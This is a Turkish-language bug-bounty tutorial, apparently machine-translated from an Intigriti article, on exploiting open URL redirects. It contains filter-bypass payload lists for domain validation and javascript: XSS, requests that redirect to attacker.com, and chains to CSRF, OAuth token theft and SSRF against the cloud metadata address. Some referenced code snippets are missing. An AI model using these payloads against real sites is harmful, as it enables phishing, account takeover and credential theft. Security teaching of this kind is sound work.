Açık URL yönlendirme güvenlik açıklarından yararlanmaya yönelik eksiksiz bir kılavuz


Açık URL yönlendirme güvenlik açıklarını bulmak, uygulamalarda oldukça yaygın olduğundan kolaydır. Bu güvenlik açığı türü aynı zamanda genellikle düşük asılı bir meyve olarak kabul edilir. Ancak modern uygulamalar karmaşıklaştıkça güvenlik açıkları da artıyor. Bu aynı zamanda daha düşük seviyedeki meyvelerin daha yüksek önem derecesine sahip güvenlik sorunlarına dönüştürülmesini de mümkün kılıyor. XSS’yi uzaktan kod yürütme güvenlik açığına yükseltmenin nasıl mümkün olduğunu gördüğümüz gibi, örneğin açık URL yönlendirmelerini de tam hesap ele geçirmeye yükseltebiliriz.

Bu makalede, açık URL yönlendirme güvenlik açıklarının ne olduğunu, bunların nasıl tanımlanacağını, bu güvenlik açığı türlerinden nasıl yararlanılacağını ve ayrıca bunların daha yüksek önem derecesine sahip güvenlik sorunlarına nasıl aktarılacağını derinlemesine inceleyeceğiz.

Hadi dalalım!

Açık URL yönlendirme güvenlik açıkları, güvenlik açığı olan bir web uygulamasının kullanıcı girişinizi güvenli olmayan bir şekilde işlemesi ve kullanıcıları güvenilen ana bilgisayardan harici (güvenilmeyen) bir konuma yönlendirmenize olanak sağlaması durumunda ortaya çıkar.

2 ana yönlendirme türü vardır; sunucu tarafı yönlendirmeleri (en yaygın olanları) ve istemci tarafı yönlendirmeleri (DOM tabanlı yönlendirmeler olarak da bilinir). Bu türlerin her ikisine de derinlemesine bir göz atalım.

Sunucu tarafı yönlendirmeleri

Sunucu tarafı yönlendirmeleri, sterilize edilmemiş kullanıcı tarafından kontrol edilebilen girişin sunucuyu kontrol etmesine izin veren güvenlik açığı bulunan bir uygulamadan kaynaklanır. Konum HTTP yanıt başlığı.

Sunucu tarafı açık URL yönlendirme güvenlik açıklarının daha iyi anlaşılmasına yardımcı olmak için aşağıdaki kod pasajına göz atın:

// /modules/logout.php

Geliştiricilerin yaptığı yaygın bir hata, temizlenmemiş kullanıcı girişini Konum HTTP yanıt başlığına iletmektir. Bu özel durumda, yönlendirme_url’si sorgu parametresi okunur ve daha sonra Konum HTTP yanıt başlığına eklenen kodda bulunur.

Bu, sunucu tarafı açık URL yönlendirmesinin basit bir örneğidir.

İstemci tarafı yönlendirmeleri

İstemci tarafı yönlendirmeleri, tarayıcı tarafından (istemci tarafı JavaScript kodu aracılığıyla) çağrılan yönlendirmelerdir. İstemci tarafı yönlendirmelerini daha iyi anlamak için aşağıdaki güvenlik açığı bulunan kod pasajına göz atın.

// /scripts/app-login.js

// Read the "redirectURL" query parameter
const redirectURL = (new URLSearchParams(location.search)).get('redirectURL');

// If present, pass it to the location.href DOM property
if (redirectURL) {
    window.location.href = redirectURL;
} else {
    window.location.href = "/dashboad";
};

Bu basit örnekte kod, sorgu parametresinin URL’yi yönlendir ayarlandı. Daha sonra kullanıcı tarafından kontrol edilebilen giriş parametresini bir DOM havuzuna iletir. Bu makalenin ilerleyen kısımlarında bu basit sorunun nasıl siteler arası komut dosyası çalıştırma güvenlik açığına dönüştürülebileceğini de ele alacağız.

Şimdi açık yönlendirme güvenlik açıklarını nasıl kolayca tanımlayabileceğimizi daha derinlemesine inceleyelim.

Uygulama içi yönlendirmeler genellikle son kullanıcının uygulama deneyimini geliştirmek için kullanılır. Örneğin, kullanıcı korumalı bir sayfaya erişmeye çalışırsa önce oturum açma sayfasına yönlendirilebilir. Bu nedenle geliştiriciler, kullanıcının kimlik doğrulama sonrasında korunan sayfaya yönlendirildiğinden emin olmak için sıklıkla bir yönlendirme parametresi gönderir.

Kimlik doğrulama sonrasında yönlendirme örneği

Yönlendirmeler ayrıca önemli bir eylem tamamlandıktan sonra da kullanılır. Yaygın bir örnek, uygulama içinde yeni bir hesaba kaydolmak ve hesap oluşturulduktan sonra kontrol paneline yönlendirilmektir.

Daha az yaygın durumlarda, yönlendirmeler aynı zamanda kullanıcının içeriğini optimize etmek için de kullanılır ve geliştiriciler, kullanıcıları cihazlarına göre yönlendirir.

Özetlemek gerekirse, hedefinizin aşağıdaki alanlarında açık URL yönlendirmelerini aramalısınız:

  • Oturum açın ve sayfaları kaydedin

  • Uygulama yolundan veya API uç noktasından çıkış yapın

  • Parola sıfırlamaları (oluşturulan belirteç bağlantısını da bir yönlendirme parametresi içerebileceğinden inceleyin)

  • Profil hesabı sayfası

  • E-posta doğrulama bağlantıları

  • Uygulama içinde birden fazla adım gerektiren herhangi bir önemli eylem

Şu ana kadar açık URL yönlendirmelerinin ne olduğunu ve yaygın olarak nerede bulunduğunu araştırdık. Bunlardan nasıl yararlanılacağına ve hatta bu daha düşük seviyedeki meyve açıklarını yüksek ciddiyetteki güvenlik sorunlarına nasıl yükselteceğimize bir göz atalım!

Basit açık URL yönlendirmeleri

Karşılaşacağınız çoğu yönlendirme parametresi ya sınırlı korumaya sahip olacak ya da hiç korumaya sahip olmayacaktır. Hiçbir güvenlik önlemi mevcut olmadığında, herhangi bir rastgele URI’yi parametre değeri olarak kolayca sağlayabilir ve söz konusu ana bilgisayara yeniden yönlendirilebiliriz.

Önceki PHP kod pasajına bir göz atın:

Bu özel durumda, basitçe doldurabiliriz. yönlendirme_url’si parametresini sorgulayın ve son kullanıcıyı herhangi bir belirli ana bilgisayara yönlendirin.

Rica etmek:

GET /logout.php?redirect_url=http://attacker.com/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.1

Cevap:

HTTP/1.1 302 Found
Host: example.com
Connection: close
X-Powered-By: PHP/8.2.26
Location: http://attacker.com/
Content-type: text/html; charset=UTF-8

Bu, açık URL yönlendirme güvenlik açığının en basit örneğidir ve bu makalenin bir sonraki bölümünde ele alacağımız çok sayıda saldırı vektörüne (bağlama bağlı olarak) yol açabilir.

Zayıf URL doğrulamalarını aktif olarak atlayacağımız daha gelişmiş durumlara geçelim!

Gelişmiş açık URL yönlendirmeleri

Açık URL yönlendirmelerini önlemenin doğru yolu, izin verilen yönlendirmelerin sıkı bir beyaz listesini tutmaktır. Ancak uygulama içindeki yönlendirmeler genellikle her zaman önceden tahmin edilemediğinden, geliştiriciler URL’nin bir bölümünü doğrulama eğilimindedir ve buna dayanarak bir yönlendirmenin gerçekleşmesine izin verir.

Gelişmiş sunucu tarafı yönlendirmelerinden yararlanma

Ana bilgisayar bölümünün doğrulandığı bağlama bir göz atalım:

GET /logout.php?redirect_url=http://example.com/login.php HTTP/1.1
Host: example.com

İzin verilen ana bilgisayarı değiştirmeye yönelik herhangi bir girişim, uygulamanın bir geri dönüş olarak varsayılan yolu kullanmasına neden olur. Bu doğrulamayı atlamak için aşağıdaki açık URL yönlendirme verilerinden birini kullanabiliriz:

# Bypass a HTTP scheme blacklist
//attacker.com
/%0A/attacker.com
/%0D/attacker.com
/%09/attacker.com
/+/attacker.com
///attacker.com
\\attacker.com

# Bypass a URI authority component (//) blacklist
http:example.com
https:example.com

# Bypass weak domain validation
https://[email protected]
https://example.com.attacker.com
https://attacker.com/example.com
https://attacker.com?example.com
https://attacker.com%23example.com
https://attacker.com%00example.com
https://attacker.com%0Aexample.com
https://attacker.com%0Dexample.com
https://attacker.com%09example.com
https://example.com°attacker.com

# Bypass weak top-level domain (TLD) validation
https://example.comattacker.com
https://example.com.mx
https://example.company                                  # .company is a valid TLD
https://attacker.com%E3%80%82example.com                 # URL encoded Chinese dot

Yer değiştirmek example.com hedefinizin izin verilen ana bilgisayar veya alan adı ile yukarıdaki verilerde ve saldırgan.com kontrollü alan adınızla.

UÇ! PortSwigger’ın kapsamlı bir URL doğrulamayı atlama hile sayfası Bu, zayıf URL doğrulamalarını atlamanıza yardımcı olabilir!

Gelişmiş DOM tabanlı yönlendirmelerden yararlanma

Daha önce de belirttiğimiz gibi DOM tabanlı yönlendirmeler tarayıcıdan başlatılır. Girişimiz güvenli olmayan bir şekilde işlenir ve bir DOM havuzuna aktarılırsa, açık URL yönlendirmesini DOM tabanlı siteler arası komut dosyası çalıştırma (XSS) güvenlik açığına yükseltebiliriz.

Önceki savunmasız kod parçacığımıza bir göz atarsak:

Çalıştırmak için aşağıdaki yükü kolayca gönderebiliriz. alert() işlev çağrısı:

GET /signin?redirectURL=javascript:alert() HTTP/1.1
Host: example.com

Bu yük şuraya iletilecek: window.location.href DOM-sink ve isteğe bağlı kodumuzu yürütün.

Temel yükümüzün filtrelenmesi durumunda JavaScript protokolünü kullanan daha fazla bypass’ın listesi aşağıda verilmiştir:

# Simple bypasses
javascript:alert(1)
JavaScript:alert(1)
JAVASCRIPT:alert(1)

# Bypass weak regex patterns (try repositioning the URL-encoded special characters)
ja%20vascri%20pt:alert(1)
jav%0Aascri%0Apt:alert(1)
jav%0Dascri%0Dpt:alert(1)
jav%09ascri%09pt:alert(1)

# More advanced weak regex pattern bypasses
%19javascript:alert(1)
javascript://%0Aalert(1)
javascript://%0Dalert(1)
javascript://https://example.com%0Aalert(1)

Açık URL yönlendirme güvenlik açıkları genellikle beklenmeyen meyveler olarak kabul edilir. Bazı hata ödül programları, etkisini kanıtlayamadığınız sürece, açık URL yönlendirme güvenlik açıklarını bile reddeder.

Şansımız var ki, bu güvenlik açığı türü, bağlama bağlı olarak bazı durumlarda artırılabilir. Aşağıda ayrıntılı olarak açıklanan birkaç örnek bulunmaktadır.

DOM tabanlı siteler arası komut dosyası çalıştırma (XSS)

Yazının başında da belirttiğimiz gibi yönlendirmemiz istemci tarafından (DOM tabanlı) başlatılırsa, düşük önemdeki güvenlik açığımızı daha yüksek önemdeki bir güvenlik sorununa yükseltmemiz mümkün.

Yönlendirme türünü tanımlamanın birkaç yolu vardır. Genellikle, sunucu tarafı yönlendirmeleri her zaman Konum 3XX HTTP durum koduyla birlikte HTTP yanıt başlığı (301, 302 veya 307 gibi).

Eksik bir sayfayla karşılaşırsanız Konum HTTP yanıt başlığı sizi yine de yönlendiriyor (küçük bir gecikmeden sonra), genellikle DOM tabanlı bir yönlendirmenin gerçekleştirildiğini gösterir.

Yönlendirmeden sorumlu kod pasajının izini sürmek, yönlendirme türünü belirlemenize de yardımcı olabilir. Ayrıca, girişinizde herhangi bir doğrulama yapılıp yapılmadığını da görebileceksiniz.

UÇ! Gibi araçları kullanın DOMInvader Ve Güvenilmeyen Türler rastgele girişinizi bir DOM havuzuna aktaran savunmasız kodun izini sürmenize yardımcı olmak için!

GET tabanlı siteler arası istek sahteciliği

Açık URL yönlendirmeleri, durumu daha da artırmak için belirli CSRF güvenlik açıklarıyla zincirlenebilir!

Aşağıdaki güvenlik açığı bulunan kod örneğine bir göz atın:

Burada 2 konuyu fark edebiliriz. CSRF korumasının olmaması /api/account/profile uç nokta ve açık bir URL yönlendirmesi /redirect API uç noktası.

Kötü amaçlı bağlantımızı ziyaret eden herhangi bir kullanıcının kullanıcı adını ve biyografisini değiştirmek için her iki sorunu da zincirleyebilir ve aşağıdaki kavram kanıtını oluşturabiliriz:

GET /redirect?url=%2Fapi%2Faccount%2Fprofile%3Fusername%3DIntigriti%26bio%3DIntigriti HTTP/1.1
Host: example.com

Her hedef farklıdır, bu nedenle uygulama içinde CSRF koruması olmayan diğer kritik eylemleri aramanızı öneririz. Bağlama bağlı olarak, bunu açık bir URL yönlendirmesiyle zincirlemek, başlangıçtaki sorunun ciddiyetini artırabilir.

OAuth aracılığıyla hesap devralma

Hedefiniz oturum açmak için üçüncü taraf hesapları (Microsoft, Facebook veya Apple ID gibi) kullanmanıza izin veriyorsa büyük olasılıkla OAuth 2.0 gibi popüler bir kimlik doğrulama çerçevesinden yararlanıyor demektir. Hedefinizin uygulamadaki en iyi uygulamaları takip etmemesi durumunda erişim belirtecini sızdırabilir ve hesabı ele geçirebilirsiniz.

Aşağıda sunulan istek gibi bir OAuth uygulamasıyla karşılaşırsanız:

/api/oauth/apple?client_id=1234&redirect_uri=https://example.com/api/oauth/callback&response_type=token&scope=openid%20profile&state=random-state

Değiştirmeyi deneyin yönlendirme_uri parametresini kontrol ettiğiniz ve OAuth akışına devam ettiğiniz isteğe bağlı bir ana bilgisayara aktarın.

Uygulama gerçekten savunmasızsa, sizi erişim belirteciyle birlikte kontrollü ana makinenize yönlendirerek geri arama uç noktasını manuel olarak aramanıza ve kurbanın hesabıyla bir oturum başlatmanıza olanak tanır.

Sunucu tarafı istek sahteciliği

Açık URL yönlendirmeleri, sunucu tarafı sahte isteklerden yararlanmak için de kullanılabilir. Sunucu tarafı istek sahteciliğine karşı savunmasız olan bazı uygulamalar yalnızca beyaz listedeki ana bilgisayarlara erişmenize izin verir. Güvenlik açığı bulunan uygulama aynı zamanda yönlendirmeleri de takip ediyorsa, SSRF’den yararlanmak ve ilk bulgunuzu artırmak için açık URL yönlendirme güvenlik açığını kullanabilirsiniz!

Yukarıdaki durumda, /api/image-loader SSRF güvenlik açığına karşı savunmasız görünüyor. Ancak yalnızca güvenilir alanlara istekte bulunur.

Açık URL yönlendirmesini kullanarak, güvenlik açığı bulunan uygulamayı, güvenilir bir ana bilgisayar yüklemeye çalıştığımız yönünde kandırabiliriz, ancak getirme API’si varsayılan olarak yönlendirmeleri takip ettiğinden, yönlendirmeyi takip eder ve bu durumda AWS meta veri uç noktasını döndürür:

GET /api/image-loader?url=https%3A%2F%2Fexample.com%2Fredirect%3Furl%3Dhttp%253A%252F%252F169.254.169.254%252F...  HTTP/1.1
Host: example.com

Açık URL yönlendirme güvenlik açıklarının bulunması kolay ve çoğu karmaşık uygulamada oldukça yaygın olmasına rağmen, bunlar genellikle kolay sonuç olarak kabul edilir. Bu makalede, bu güvenlik açığı türlerinden nasıl yararlanılacağının ve bunları daha yüksek kabul şansına sahip daha yüksek önem derecesine sahip güvenlik açıklarına nasıl yükselteceğimizin çeşitli yollarını inceledik!

Açık URL yönlendirme güvenlik açıklarını nasıl avlayacağınızı ve bunları yüksek önemdeki güvenlik sorunlarına nasıl aktaracağınızı öğrendiniz… Şimdi becerilerinizi test etme zamanı! Intigriti’deki 70’ten fazla genel hata ödül programımıza göz atın ve kim bilir, belki bir sonraki ödülünüz bizimle kazanılır!

INTIGRITI’DE HACKLEMEYE BUGÜN BAŞLAYIN



Source link